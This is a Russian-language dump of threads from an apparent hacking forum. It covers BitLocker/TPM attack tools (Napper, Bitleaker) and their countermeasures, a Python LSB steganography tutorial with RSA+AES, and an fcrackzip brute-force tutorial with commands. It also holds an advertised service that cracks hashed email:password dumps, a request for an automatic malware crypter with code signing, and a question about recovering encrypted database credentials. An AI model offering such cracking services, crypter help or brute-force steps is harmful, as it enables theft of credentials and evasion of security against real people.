Исследователи установили, что при уходе компьютера в спящий режим модуль TPM сохраняет регистры в NVRAM, а при выходе их восстанавливает. Оказалось, что в некоторых моделях модулей TPM есть возможность подменить содержимое PCR регистров и получить доступ к внутреннему журналу TPM, что позволяет узнать всю «цепочку доверия» в момент штатной загрузки системы. Исследователи уведомили об уязвимости производителей материнских плат, включая Intel, Lenovo, Gigabyte, Dell и HP, которые выпустили обновления BIOS, закрывшие уязвимость. Тем не менее многие компьютеры до сих пор работают со старыми версиями BIOS, что позволяет воспользоваться уязвимостью.

Исследователи выпустили две утилиты, первая из которых позволяет проверить, есть ли в модуле TPM уязвимость, а вторая — использовать уязвимость, если она обнаружится.

Проверка наличия уязвимости: Napper for TPM.
Эксплуатация уязвимости: Bitleaker.

Для проверки наличия уязвимости нужно скачать образ Live CD со страницы https://github.com/kkamagui/napper-for-tpm/releases, записать его на USB- накопитель, перезагрузить компьютер, отключив предварительно Secure Boot в BIOS, и выбрать Napper из меню.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17900%2Fnapper- boot.jpg&hash=282f18f149bf55cbf4233543199ac8e4)
После загрузки нужно запустить Napper, кликнув соответствующую иконку. Подробные инструкции приводятся на этой странице.

Если уязвимость обнаружена, выводится соответствующее сообщение.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17901%2Fnapper- summary.jpg&hash=3fab4fe7ebacaa549b14159629fa0721)
К сожалению, на моем компьютере довести эксперимент до конца не удалось: вместо модуля TPM у меня используется эмулятор Intel PTT, который неуязвим для этого типа атаки. Если же уязвимость обнаружена, то следующий шаг — запуск утилиты Bitleaker.

ПРОТИВОДЕЙСТВИЕ АТАКАМ​

В статье «[Меры защиты для BitLocker](https://docs.microsoft.com/ru- ru/windows/security/information-protection/bitlocker/bitlocker- countermeasures)» подробно описаны способы, которыми Microsoft противодействует описанным атакам. (Поскольку Microsoft использует автоматический перевод на русский весьма низкого качества, рекомендую ознакомиться со статьей [на языке оригинала](https://docs.microsoft.com/en- us/windows/security/information-protection/bitlocker/bitlocker- countermeasures).)

От прямого доступа к памяти через FireWire/Thunderbolt спасает механизм защиты портов DMA, появившийся в Windows 10 версии 1803 (апрель 2018-го). Начиная с этой версии Windows в новых устройствах на базе процессора Intel по умолчанию активирована защита ядра от атак DMA через порты Thunderbolt 3. Впрочем, отмечу, что защита доступна лишь для относительно свежих компьютеров, так как ее активация потребовала изменить встроенный микрокод и/или BIOS. К примеру, на моем не самом старом компьютере, собранном на базе Intel Core i7 9-го поколения меньше года назад, включить эту защиту не удалось.

Проверить, защищен ли твой компьютер, можно встроенной в Windows утилитой MSINFO32.EXE.

От атак методом получения мастер‑ключа из памяти компьютера Microsoft рекомендует защищаться установкой дополнительного предварительного протектора — PIN-кода, который чип TPM будет требовать для продолжения загрузки. Этим же способом компания рекомендует защищаться и от сниффинга модулей TPM: от того, что тебе удастся подсмотреть данные, не изменится ровным счетом ничего, если тебе неизвестен PIN-код. Попытка же подобрать PIN-код быстро введет модуль TPM в режим паники, в котором он либо откажется сотрудничать вовсе, либо сделает вид, что все в порядке, но ключ шифрования не выдаст, даже если введенный PIN- код [окажется правильным](https://docs.microsoft.com/en- us/windows/security/information-protection/tpm/tpm-fundamentals#anti- hammering). А вот от атаки методом «холодной загрузки», если в руки злоумышленника попал включенный компьютер с уже разблокированным диском с BitLocker, внятной защиты не предложено: разработчики меланхолично отмечают, что «способ не защищает от физических атак, когда злоумышленник получает физический доступ к компонентам компьютера, вскрыв корпус устройства».

От атаки под названием «страшный сон» ее разработчики советуют защищаться одним из трех способов: установить PIN-код на загрузку (совпадает с рекомендацией Microsoft), обновить BIOS или отключить режим сна в настройках BIOS.

ЗАКЛЮЧЕНИЕ​

Как модуль TPM, так и технология Intel PTT предоставляют высокий уровень защиты, способный существенно осложнить жизнь злоумышленнику и затруднить работу полицейского эксперта. Даже в конфигурации по умолчанию BitLocker в сочетании с TPM/PTT обеспечивает высокий уровень безопасности, а дополнительные настройки, описанные в разделе «Противодействие атакам», позволят надежно заблокировать доступ к зашифрованному разделу даже от самых квалифицированных специалистов.

В то же время, как это ни парадоксально, аппаратный модуль может оказаться менее безопасным, чем программная эмуляция: в модулях TPM существуют уязвимости как минимум двух типов, а реализация на базе Intel PTT их лишена. Если на твоей материнской плате есть разъем для установки модуля TPM — подумай, стоит ли это делать и не лучше ли воспользоваться функциональностью Intel PTT, если он доступен в BIOS.

Автор @afonin aka Олег Афонин

Автоматический крипт malware?
ID: 676536fbb4103b69df37388b
Thread ID: 46069
Created: 2020-12-27T13:42:41+0000
Last Post: 2020-12-27T14:31:31+0000
Author: bawarec
Replies: 1 Views: 2K

Возможно сделать автоматический криптор malware без .NET зависимости + подпись?
Заранее извиняюсь если ляпнул какую то чушь

Введение в Стеганографию с помощью LSB-алгоритма и Python
ID: 676536fbb4103b69df37388d
Thread ID: 45208
Created: 2020-12-05T21:07:51+0000
Last Post: 2020-12-09T06:20:20+0000
Author: DildoFagins
Prefix: Статья
Replies: 1 Views: 2K

Привет, друзья. Не так давно я со своим особо важным, но никому нахер ненужным мнением влез вот в эту тему: https://xss.is/threads/41589/ - утверждая, что дописать данные в оверлей картинки не является стеганографией, и рекомендуя в плане простой стеганографии в картинках смотреть в сторону least significat bit стеганографии. Во-первых, потому, что это и есть самая настоящая стеганография, а во-вторых, потому, что этот алгоритм предельно прост и понятен. Потом я поискал на форуме другие статьи по стеганографии и понял, что для такой интересной темы статей на форуме слишком мало. Ну что ж, придется написать одну, а может и не одну, если нашему уютненькому комьюнити эта тема будет интересна.

В этой статье мы с вами с самых азов рассмотрим, что такое стеганография в общем, что такое least significant bit стеганография, а также реализуем этот алгоритм для картинок формата PNG на языке Python, а попутно рассмотрим некоторый забавный трюк этого языка. Алгоритм предельно прост, его можно было бы реализовать на любом другом языке программирования, но мы же все тут любим Питон, правда ведь?

Итак, стеганография. Образно говоря, это наука или даже искусство хранить или передавать информацию таким образом, чтобы скрыть сам факт хранения или передачи информации. В контрасте с криптографией, которая призвана защитить передаваемую или хранимую информацию от любопытных глаз третьих лиц, стеганография пытается сделать так, чтобы третьи лица и вовсе не знали, что у нас есть та самая ценная информация, которую мы храним или передаем. В этом есть сравнительное преимущество стеганографии перед криптографией: скрытая информация не привлекает внимания. Хотя ничто не мешает нам комбинировать криптографию и стеганографию, но это мы увидим чуть попозже, когда перейдем непосредственно к коду. Сам термин «стеганография» был введен в бородатом 15 веке и происходит из греческого языка, перевести его примерно-приблизительно можно как «тайнопись».

Теперь давайте рассмотрим, что же такое least significant bit стеганография, дословно «стеганография наименее значимого бита». Наверное, для многих из вас не секрет, что картинка в представлении этих ваших компуктеров — это, по сути, просто матрица (таблица) MxN пикселей. А пиксель — это всего лишь отдельная точка картинки, которая определяется некоторым цветом. В большинстве случаев цвет может однозначно определяться тремя байтами: RGB (red, green, blue). То есть цвет пикселя определяют красная, зеленая и синяя составляющая, каждая из который, поскольку задается одним байтом, может принимать значения от 0 до 255. Кроме RGB цветовой гаммы картинка может быть монохромной или в градации серого (greyscale), в этом случае каждый отдельный пиксель задается один байтом цвета. А также картинка может использовать прозрачность, в этом случае к каждому пикселю, заданному тремя байтами, добавится еще один байт, определяющий прозрачность пикселя.

Least significant bit стеганография заключается в том, что мы можем поменять наименее значимый бит в каждом цветовом компоненте каждого пикселя, и от этого изменения картинка не претерпит существенных искажений. Это происходит потому, что если 1 бит нашей полезной информации не совпадает со значением наименее значимого бита компонента пикселя, то его значение изменится только на единицу (в положительную или отрицательную сторону), а если совпадает, то не изменится вовсе. То есть в каждый пиксель полноцветного изображения (RGB которое) мы можем безболезненно вшить 3 бита наших полезных данных. На первый взгляд это кажется очень маленьким размером, но, например, для тестовой картинки (которая есть во вложении) размером 1365 на 1024 пикселей мы можем вшить 455 килобайт полезных для нас данных. Ходят слухи, что некоторые крейзи стеганографы считают, что можно в картинке менять и два наименее значимых бита без существенных искажений, но для простоты мы не будет рассматривать идеи этих еретиков.

Здесь следует сделать небольшое отступление о том, что ни все форматы картинок бывают одинаково полезны. Далее мы с вами возьмем за основу картинки в формате PNG потому, что в этом формате исходные данные о пикселях и их цветах хранятся в неизменном виде, либо сжимаются без потерь. Это характерно также для некоторых других форматов, таких как BMP и TIFF. С другой стороны, в формате JPEG информация о пикселях сжимается с потерями, поэтому хранить и восстанавливать полезные данные таким же образом у нас не получится. Возможно, мы потом рассмотрим, как реализовать стеганографию в формате JPEG, если вам будет это интересно, но сегодня мы сконцентрируемся на формате PNG.

Для начала нам понадобится доставить две библиотеки для криптографии и парсинга формата PNG, а именно https://www.pycryptodome.org/en/latest/ (альтернативно можно воспользоваться и https://pypi.org/project/pycrypto/) и https://pypi.org/project/pypng/ - эта библиотека для работы с PNG форматом не то чтобы очень хорошая и навороченная полезным функционалом, но как минимум очень простая и вполне подходит для образовательных целей. Все эти библиотеки должны без проблем устанавливаться через pip, но, если у вас возникнут с этим проблемы, пишите в комментарии к статье, обсудим.

Для начала объявим класс, который будет реализовывать стеганографию в формате PNG-картинки и шифрования полезных для нас данных, а также их извлечение и дешифрование. Это мы сделаем чуть позже, а пока подключим нужные библиотеки и набросаем шаблон класса.

Python:Copy to clipboard

import inspect
import png

from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES

#-----------------------------#
# Класс для LSB-стеганографии #
# в картинках формата PNG     #
#-----------------------------#
class PngStego:
    pass

Теперь давайте реализуем две функции, которые будут переводить байтовые массивы в массивы битов, этот функционал нам очень пригодится, когда мы будем побитово записывать наши полезные данные в отдельные цветовые компоненты пикселей картинки. Функция bytes_to_bits в цикле проходит байтовый массив и из каждого байта в цикле от 0 до 7 включительно достает из байта каждый отдельный бит с помощью операций побитового сдвига. Затем каждый бит последовательно добавляется в список. Функция bits_to_bytes производит обратную операцию, она проходит список бит по 8 элементов, преобразует каждые восемь бит в один байт (опять же с помощью операций побитовых сдвигов) и добавляет байт в массив. Для начинающих питонистов побитовые операции могут вызывать недоумение, не стесняйтесь задавать вопросы, если они есть.

Python:Copy to clipboard

#----------------------------------#
# Метод конвертирует массив байт в #
# соответствующий ему массив бит   #
#----------------------------------#
def bytes_to_bits(self, bts: bytes) -> list:
    res = []
    for byt in bts:
        for i in range(0, 8):
            bit = (byt & (1 << i))
            bit = 1 if bit != 0 else 0
            res.append(bit)

    return res

#---------------------------------#
# Метод конвертирует массив бит в #
# соотвествующий ему массив байт  #
#---------------------------------#
def bits_to_bytes(self, lst: list) -> bytes:
    res = bytearray()
    cnt = len(lst) // 8
 
    for i in range(cnt):
        byt = 0
        for j in range(0, 8):
            bit = lst[i * 8 + j] << j
            byt = byt | bit

        res.append(byt)

    return bytes(res)

Далее давайте напишем конструктор для нашего класса. Он будет принимать на вход путь к PNG-файлу, с которым мы будем работать. С помощью библиотеки pypng мы считываем данные указанного в параметрах файла. Класс Reader через метод read возвращает картеж из длины и ширины картинки, итератора матрицы пикселей и словаря с дополнительной информацией о формате и внутреннем устройством загруженной картинки. Далее я применяю некую магию питоновского метапрограммирования для того, чтобы сохранить и затем передать значимые параметры картинки из возращенного словаря в именованные параметры конструктора класса Writer. Я не говорю, что это — самое лучшее и адекватное решение, но мне кажется оно весьма интересным (ну ладно, ладно, просто хотелось чуток выпендриться). Давайте рассмотрим эту конструкцию подробнее. Я получаю ссылку на конструктор класса Writer в переменную met. Далее с помощью метода из модуля inspect я получаю именованные аргументы этого метода. Затем я делаю срез ключей возвращенного словаря по именам параметров конструктора, таким образом я передам в конструктор только те значения из параметров исходной картинки, которые конструктор ожидает увидеть при вызове. Среди этих параметров будут, в частности, находится гамма, размеры изображения и другие параметры. После этой замысловатой конструкции мы просто загружаем в память байтовые массивы с непосредственными значениями цветов каждого пикселя, получая сравнительно удобную в работе матрицу. Сохраняем ее и остальные параметры картинки в поля текущего класса.

Python:Copy to clipboard

#--------------------#
# Конструктор класса #
#--------------------#
def __init__(self, pngpath: str):
    # Считываем PNG-файл библиотекой pypng
    reader = png.Reader(filename=pngpath)
    (wid, hei, ite, cfg) = reader.read()

    # Выделяем параметры записи, используемые
    # в конструкторе из текущей PNG-картинки
    met = png.Writer.__init__
    arg = inspect.getfullargspec(met).args
    key = list(set(arg) & set(cfg.keys()))
     
    # Конвертируем и сохраняем всё необходимое
    # в приватные поля объекта текущего класса
    self._data = [bytearray(i) for i in ite]
    self._conf = { k: cfg[k] for k in key }
    self._widt = wid
    self._heig = hei

Теперь мы напишем метод save, который сохранит текущее состояние пикселей загруженного изображения в файл. В процессе мы будет менять это состояние, записывая в него наши полезные данные. Реализация данного метода предельно проста. Сначала мы создаем объект класса Writer, а потом открываем файл на запись и с помощью объекта Writer записываем текущее состояние нашей картинки.

Python:Copy to clipboard

#-----------------------------------#
# Метод записывает модифицированную #
# PNG-картинку по указанному пути   #
#-----------------------------------#
def save(self, pngpath: str):
    # Инициализируем объект записи
    writer = png.Writer(self._widt,
        self._heig, **self._conf)
 
    # Открываем файл и записываем данные
    with open(pngpath, "wb") as output:
        writer.write(output, self._data)

Переходим к методу encode_bytes, с помощью которого мы будем помещать наши полезные данные в цветовые компоненты пикселей исходной картинки. Для начала мы просто переведем данные (массив байт) в список битов с помощью реализованной ранее функции. Затем подсчитаем количество получившихся бит и само количество представим в виде 32-битов целого числа. Нам понадобится эта длина для того, чтобы определить, какое количество бит полезной для нас информации содержит картинка. Сначала мы запишем 32-бита длины, а потом, собственно, сами биты полезной информации. Библиотека pypng предоставляет доступ к отдельным байтам цветовых компонент пикселей в виде матрицы, а точнее списка байт массивов (bytes), который мы предусмотрительно преобразовали в список bytearray в конструкторе (для того, чтобы иметь возможность вносить в них изменения, тк тип bytes является immutable, то есть неизменяемым). Для того, чтобы линейно по строкам проходить по матрице мы введем два индекса row_id и col_id (позиция в строке и позиция среди столбцов). Далее мы в цикле проходим по всем битам, которые нам нужно записать, изменяем наименее значимый бит цветового компонента в зависимости от текущего бита, а затем переходим к следующему цветовому компоненту, высчитывая его позицию через row_id и col_id (учитывая максимальную длину текущей строки и переходя к следующей строке при необходимости).

Python:Copy to clipboard

#---------------------------------#
# Метод кодирует бинарные данные  #
# в текущую открытую PNG-картинку #
#---------------------------------#
def encode_bytes(self, data: bytes):
    # Кодируем байты в биты, получаем их
    # длину и кодируем длину тоже в биты    
    bits = self.bytes_to_bits(data)
    size = len(bits).to_bytes(4, 'little')
    size = self.bytes_to_bits(size)
    bits = size + bits

    row_id = 0 # Номер элемента в строке
    col_id = 0 # Номер колонки пикселей

    # Записываем биты в пиксели
    for i in range(len(bits)):
        # Получаем длину текущей колонки
        col_ln = len(self._data[col_id])
     
        # Получаем исходное значение байта,
        # меняем наименее значимый бит на бит
        # полезных данных и записываем его
        oldbyt = self._data[col_id][row_id]
        newbyt = (oldbyt & 0xFE) | bits[i]
        self._data[col_id][row_id] = newbyt

        # Переходим к следующему
        # байту текущей картинки
        row_id = row_id + 1
        if row_id >= col_ln:
            col_id = col_id + 1
            row_id = 0

Сделаем обратную операцию в методе decode_bytes. Аналогично для обхода матрицы мы будем использовать два индекса row_id и col_id. Сначала нам нужно считать 32-бита, которые содержат внутри себя количество бит полезной для нас информации. Переводим эти 32-бита обратно в целое число и в цикле считываем биты полезной информации. Затем преобразуем биты обратно в байты с помощью написанной нами ранее функции bits_to_bytes.

Python:Copy to clipboard

#----------------------------------#
# Метод декодирует бинарные данные #
# из текущей открытой PNG-картинки #
#----------------------------------#
def decode_bytes(self) -> bytes:
    row_id = 0 # Номер элемента в строке
    col_id = 0 # Номер колонки пикселей
    bits = []  # Загруженный массив бит

    # Сначала нам нужно считать
    # 32-бита числа размера полезных
    # данных, спрятанных в картинке
    for _ in range(32):
        # Получаем длину текущей колонки
        col_ln = len(self._data[col_id])
     
        # Считываем байт данных картинки
        # и извлекаем наименее значимый
        # бит, содержащий полезные данные
        thebyt = self._data[col_id][row_id]
        bits.append(thebyt & 1)

        # Переходим к следующему
        # байту текущей картинки
        row_id = row_id + 1
        if row_id >= col_ln:
            col_id = col_id + 1
            row_id = 0

    # Получаем длину полезных данных
    bit_ln = self.bits_to_bytes(bits)
    bit_ln = int.from_bytes(bit_ln, 'little')
    bits = []

    # Считываем все биты полезных
    # данных, исходя из их длины
    for _ in range(bit_ln):
        # Получаем длину текущей колонки
        col_ln = len(self._data[col_id])

        # Считываем байт данных картинки
        # и извлекаем наименее значимый
        # бит, содержащий полезные данные
        thebyt = self._data[col_id][row_id]
        bits.append(thebyt & 1)

        # Переходим к следующему
        # байту текущей картинки
        row_id = row_id + 1
        if row_id >= col_ln:
            col_id = col_id + 1
            row_id = 0

    # Декодируем биты обратно в байты
    return self.bits_to_bytes(bits)

На этом этапе можно реализовать два вспомогательных метода для конвертирования строк в байты и их кодирование/декодирование. Я думаю, комментарии здесь излишни, попробуйте теперь вызвать эти методы и закодировать какое-нибудь полезное сообщение в каком-либо изображении формата PNG.

Python:Copy to clipboard

#------------------------------------#
# Метод кодирует строковое сообщение #
# в текущую открытую PNG-картинку    #
#------------------------------------#
def encode_string(self, string: str):
    enc = string.encode('utf-8')
    self.encode_bytes(enc)

#--------------------------------------#
# Метод декодирует строковое сообщение #
# из текущей открытой PNG-картинки     #
#--------------------------------------#
def decode_string(self) -> str:
    enc = self.decode_bytes()
    return enc.decode('utf-8')

На этом в принципе можно было бы и закончить статью, но хранить данные в картинке в открытом виде со стороны кажется некоторой недоработкой. Давайте будем шифровать наши данные с помощью комбинации криптографических алгоритмов RSA и AES. Криптография не является темой статьи, поэтому пробежимся по ней сравнительно быстро. Опять же, если что-то будет непонятно, то это всегда можно обсудить в комментариях.

Напишем методы шифрования encrypt_rsa_aes и дешифрования decrypt_rsa_aes с помощью библиотеки pycryptodome (или аналогичной ей библиотеки pycrypto). Функция шифрования будет получать на вход публичный ключ RSA, генерировать сеансовый ключ AES, шифровать данные алгоритмом AES в режиме EAX (с проверкой корректности данных), сеансовый ключ будет зашифрован на публичном ключе RSA. Далее все полученные криптографические данные будут склеены в один массив байт. Функция дешифрования будет получать на вход приватный ключ RSA, разбивать криптографические данные на соответствующие блоки, дешифровывать сеансовый ключ AES с использованием приватного ключа, а затем с помощью сеансового ключа и алгоритма AES расшифровывать наши полезные данные.

Python:Copy to clipboard

#------------------------------------------------#
# Метод зашифровывает данные комбинацией RSA+AES #
#------------------------------------------------#
def encrypt_rsa_aes(self, pub: bytes, data: bytes) -> bytes:
    # Создаем сессионный ключ
    key = get_random_bytes(16)

    # Зашифровываем данные через AES
    aes = AES.new(key, AES.MODE_EAX)
    (enc, tag) = aes.encrypt_and_digest(data)

    # Зашифровываем сессионный
    # ключ публичным ключом RSA
    rsa = RSA.import_key(pub)
    pkc = PKCS1_OAEP.new(rsa)
    key = pkc.encrypt(key)

    # Собираем все данные
    # в один массив байт
    res = bytearray()
    res += key
    res += aes.nonce
    res += tag
    res += enc
 
    return bytes(res)

#-------------------------------------------------#
# Метод расшифровывает данные комбинацией RSA+AES #
#-------------------------------------------------#
def decrypt_rsa_aes(self, pri: bytes, data: bytes) -> bytes:
    # Инициализируем RSA и
    # получаем длину ключа
    rsa = RSA.import_key(pri)
    siz = rsa.size_in_bytes()

    # Отделяем разные данные
    # из общего массива байт
    key = data[0:siz]
    nonce = data[siz:siz + 16]
    tag = data[siz + 16: siz + 32]
    enc = data[siz + 32:]

    # Расшифровываем сессионный
    # ключ для дешифрования AES
    pkc = PKCS1_OAEP.new(rsa)
    key = pkc.decrypt(key)
 
    # Расшифровываем AES и проверяем данные
    aes = AES.new(key, AES.MODE_EAX, nonce)
    return aes.decrypt_and_verify(enc, tag)

Теперь давайте встроим шифрование в наш класс, реализуя дополнительные методы для использования комбинации криптографии и стеганографии. В этом фрагменте кода все должно быть интуитивно понятно, и он не должен требовать дополнительных разъяснений.

Python:Copy to clipboard

#-------------------------------------------#
# Метод зашифровывает и кодирует строковое  #
# сообщение в текущую открытую PNG-картинку #
#-------------------------------------------#
def encrypt_string(self, pub: bytes, string: str):
    enc = string.encode('utf-8')
    self.encrypt_bytes(pub, enc)

#-----------------------------------------#
# Метод зашифровывает и кодирует бинарные #
# данные в текущую открытую PNG-картинку  #
#-----------------------------------------#
def encrypt_bytes(self, pub: bytes, data: bytes):
    enc = self.encrypt_rsa_aes(pub, data)
    self.encode_bytes(enc)
     
#--------------------------------------------#
# Метод декодирует и дешифрует строковое     #
# сообщение из текущей открытой PNG-картинки #
#--------------------------------------------#
def decrypt_string(self, pri: bytes) -> str:
    enc = self.decrypt_bytes(pri)
    return enc.decode('utf-8')

#-----------------------------------------#
# Метод декодирует и дешифрует бинарные   #
# данные из текущей открытой PNG-картинки #
#-----------------------------------------#
def decrypt_bytes(self, pri: bytes) -> bytes:
    enc = self.decode_bytes()
    return self.decrypt_rsa_aes(pri, enc)

Ну и наконец давайте протестируем, как работает наш класс полностью с использованием криптографии и стеганографии вместе.

Python:Copy to clipboard

#---------------------------#
# Юнит-тесты на пол шишечки #
#---------------------------#
if __name__ == '__main__':
    # Генерируем ключевую пару
    key = RSA.generate(2048)
    pub = key.publickey().export_key()
    pri = key.export_key()
 
    # Загружаем оригинальную картинку,
    # добавляем в нее наше сообщение
    # и сохраняем во второй файл
    stego = PngStego("lion.png")
    stego.encrypt_string(pub, "Hello World")
    stego.save("lion2.png")

    # Загружаем второй файл,
    # считываем из него наше
    # сообщение и выводим его
    stego = PngStego("lion2.png")
    decod = stego.decrypt_string(pri)
    print(len(decod), decod)

Подводя итоги в этой статье, я хотел бы сказать, что сфера стеганографии имеет в себе целую огромную кучу интересных алгоритмов и ноу-хау. Least significant bit алгоритм является одним из самых простых как в понимании, так и в объяснении. Представленная мной реализация намеренно сделана предельно простой в целях обучения и не претендует на коммерческое применение. Я просто хотел пробудить в вас интерес к теме стеганографии, показав один простой практический пример реализации ее алгоритма. Надеюсь, что вам понравилась статья, с нетерпением жду обсуждения темы стеганографии в комментариях. Спасибо за внимание!

(c) DildoFagins
для https://xss.is

Услуги по бесплатной расшифровке
ID: 676536fbb4103b69df373898
Thread ID: 37202
Created: 2020-05-09T17:47:21+0000
Last Post: 2020-09-20T23:15:45+0000
Author: nik_tesla
Replies: 1 Views: 2K

Принимаю до 300к строк.Писать в ТГ(tesla_nik)
Условия подачи заявки:
Отправить в ТГ базу вида mail:hash(MD5) и линк на профиль XSS (или ник)
Если есть сомнения,что дампы будут обработаны,можете отправить просто хэши,без логинов
Принимаю хэши

Code:Copy to clipboard

MD5
SHA1
SHA-256
SHA-512
Mysql3
Mysql5

Или любой другой статичный хэш

Шифрование содержимого файла options.ini
ID: 676536fbb4103b69df37388e
Thread ID: 42872
Created: 2020-10-05T07:10:19+0000
Last Post: 2020-12-02T09:01:27+0000
Author: okihad
Replies: 13 Views: 2K

Всем привет.

Имеется сервер с MySQL. В папке с самописной программой лежит options.ini с таким содержимым:

[NastForm]
nameSkin=Ubuntu
IndexSkin=1
[Connect]
servername =¶fbpfÛYµP§G·XÝDgcf)F|bqTÔ#×$×-ß%ÝDf}ÆGwf4¯z{Û@a/³gfÆ]¢)uafÝQ`zq4¶fdf}gÛ6¢fbfÛYG·XÆ[¢V¥4Ó:Õ4³zwp4¢fbfÝA¯PÛfmg/¶C¢)F|bqTÔ#×$×-ß%ÝG£F°Q´)×$È%Ö$È%Ò:×$ÝP§@§V§G£)vÝD©F²)Õ'Ö"ÝW®U´G£@Ûw%Ô!×/ [³Z¢K´[±GÛ%ÝW©X³Y¨Kµ]¼Q¹GÕ&Û%Ý6ë

Примерно неделю назад этот же файл выглядел вот так:
[NastForm]
nameSkin=Ubuntu
IndexSkin=1
[Connect]
servername =Provider=MSDASQL;Password=qwerty12345;Persist Security Info=True;User ID=root;Extended Properties="Driver=MySQL ODBC 5.3 Unicode Driver;UID=root;PWD=qwerty12345;SERVER=10.100.100.10;DATABASE=tb;PORT=3306;CHARSET=cp1251;FOUND_ROWS=1;COLUMN_SIZE_S32=1;"

*Пароль и IP изменил!

Подскажите пожалуйста, чем так можно зашифровать строку "servername="? В какую сторону начать копать?
Если эту строку понимает самописная программа, значит где-то ключ для расшифровки должен быть?

Encoder \ Decoder Base64 1.0 by Def86
ID: 676536fbb4103b69df373890
Thread ID: 43814
Created: 2020-11-02T08:31:52+0000
Last Post: 2020-11-03T15:14:00+0000
Author: EL KURITO
Replies: 10 Views: 2K

Нашел у себя кодер / декодер Base64 , может кому пригодится.
https://dropmefiles.com/z6n9t

Инструмент fcrackzip: функции и главные особенности
ID: 676536fbb4103b69df373891
Thread ID: 43397
Created: 2020-10-21T18:23:02+0000
Last Post: 2020-10-21T18:23:02+0000
Author: lima8v4v
Prefix: Статья
Replies: 0 Views: 2K

Инструмент fcrackzip: функции и главные особенности

В этой статье пойдет речь о fcrackzip, который является инструментом для взлома паролей файлов формата zip. Программа пытается найти зашифрованные файлы и подобрать к ним пароль.

Есть много случаев, когда человек вводит неправильный пароль. Unzip быстро реагирует на это, не расшифровывая файлы. В то время как алгоритм шифрования, используемый zip, относительно безопасен и надежен, fcrackzip облегчил хакерам взлом, предоставив возможности для быстрого получения паролей непосредственно в zip-файле. Понимание этого момента имеет решающее значение для взлома zip- паролей.

Изначально расшифровываются первые двенадцать байтов каждого пароля. В зависимости от версии zip, используемой для шифрования файла, первые десять или одиннадцать байтов являются случайными, за ними следует один или два байта, значения которых хранятся в другом месте, то есть известны заранее. Пароль считается неправильным, если последние байты не совпадают. Единственный способ определить, правильно ли пользователь ввел пароль или нет, — это распаковать файл и сравнить сжатый размер и несжатый.

Более ранние версии pkzip хранили два известных байта. Таким образом, частота ошибок составляла примерно 1/216 =0,01%. pkware «улучшил» свою безопасность, оставив только один известный байт, поэтому вероятность ложных паролей теперь выросла до 0,4%. К сожалению, нет реального способа отличить однобайтовый от двухбайтового формата, поэтому стоит помнить о них двух.

Знакомство с fcrackzip​

Люди часто используют заархивированные файлы из-за их небольшого размера и алгоритма шифрования. Эти архивированные файлы имеют возможность быть защищенными паролем, который обезопасит файлы, что хранятся в архиве.
Когда пользователь забыл пароль, и возникла проблема с доступом к данным, fcrack придёт ему на помощь. Он способен предоставить пользователю выход, чтобы тот смог получить доступ к своим документам, поскольку есть простой способ взломать защищенный zip-файл с помощью fcrackzip. Он уже доступен на Linux.
Fcrackzip — это бесплатный и быстрый zip-взломщик паролей, написанный Marc lehmann. Это не самый быстрый доступный взломщик, но он является портативным и бесплатным, что точно заслуживает внимания пользователей.

Функции fcrackzip​

Поскольку пользователь использует Kali Linux, инструмент fcrackzip уже установлен по умолчанию: просто нужно открыть терминал и набрать в нем: «fcrackzip –help». Это команда, которая откроет краткую справку по работе с инструментом fcrackzip.

  • -b: для использования алгоритмов брутфорс;
  • -D: для использования словарей;
  • -B: для использования Benchmark;
  • -c: для использования символов из кодировки;
  • -h: показать справку;
  • –version: показать версию программы;
  • -V: провести оценку и проверку алгоритмов;
  • -v: для включения режима Verbose mode;
  • -p: для использования строки в качестве пароля;
  • -l: для установления параметров длины пароля;
  • -u: для отсеивания неправильных паролей;
  • -m: для указания номера выбранного метода.

Инструмент fcrackzip: функции и главные особенности

Создание защищенного паролем zip-файла​

Во-первых, пользователь должен создать защищенный паролем файл. В этом деле нужно выбрать тот файл, который он хочет защитить с помощью перевода его в нужный формат. После выбора файла следует ввести следующую команду:
Синтаксис: zip –password

Инструмент fcrackzip: функции и главные особенности

Взлом пароля zip-файла​

fcrackzip – это очень эффективный и простой в использовании инструмент для проведения брутфорс атаки, нацеленной на любой zip-файл. Для этого пользователь использует параметры: (-b), что позволяет ему применить атаку брутфорс к этому zip-файлу, и (- c), что определяет кодировку для словаря во время проведения нападения на защиту файла.

Code:Copy to clipboard

fcrackzip -b -c 'a' file.zip

Инструмент fcrackzip: функции и главные особенности

На приведенном выше изображении пользователь может увидеть все возможные результаты атаки. Если он хочет удалить неправильные пароли, которые могут быть использованы, следует воспользоваться параметром (-u), что позволяет ему увидеть только подходящие варианты.

Code:Copy to clipboard

fcrackzip -b -c 'a' -u file.zip

Инструмент fcrackzip: функции и главные особенности

Verbose mode​

В fcrackzip Verbose mode — это режим, который может быть инициирован с помощью параметра (-v). Verbose mode предоставляет пользователю расширенную информацию о файле. В данном случае он помогает пользователю получить информацию о файле, защищенном паролем zip. Например, это может быть размер или имя этого файла, а также текущая комбинация словарей, которые применяются в отношении этого zip- файла.

Code:Copy to clipboard

fcrackzip -b -v -c 'a' -u file.zip

Инструмент fcrackzip: функции и главные особенности

Взлом числового пароля определенной длины​

Для проведения данной практики пользователь создал числовой пароль, защищающий zip-файл с помощью той же команды, которую он использовал ранее для создания защищенного паролем zip-файла.
В этом случае человек использует 2 различных параметра, такие как (-c; -l). Как было указано раньше, (-с) применяется для ввода символов из кодировки, а (-l) – для указания длины пароля (минимальная длина – максимальная длина).

Code:Copy to clipboard

zip --password 123 raj.zip user.txt
fcrackzip -b -v -c 'a' -l 1-3 -u raj.zip

Инструмент fcrackzip: функции и главные особенности

Предоставление первичного пароля​

В данном случае пользователь имеет набор первичных паролей для проведения атаки брутфорс со строкой имени для поиска возможных вариантов по словарю. С помощью этой практики пользователь может добавить новые ключевые слова в словарь.

Code:Copy to clipboard

fcrackzip -b -v -c 'a' -p ignite -u file.zip

Инструмент fcrackzip: функции и главные особенности

Обход словаря​

В этом режиме fcrackzip будет считывать пароли из файла, который был предоставлен пользователем. Этот файл должен содержать один пароль на строку и быть упорядочен в алфавитном порядке, чтобы fcrackzip работал в соответствии с его установками по умолчанию.

Code:Copy to clipboard

fcrackzip -D -p rockyou.txt file.zip

Инструмент fcrackzip: функции и главные особенности

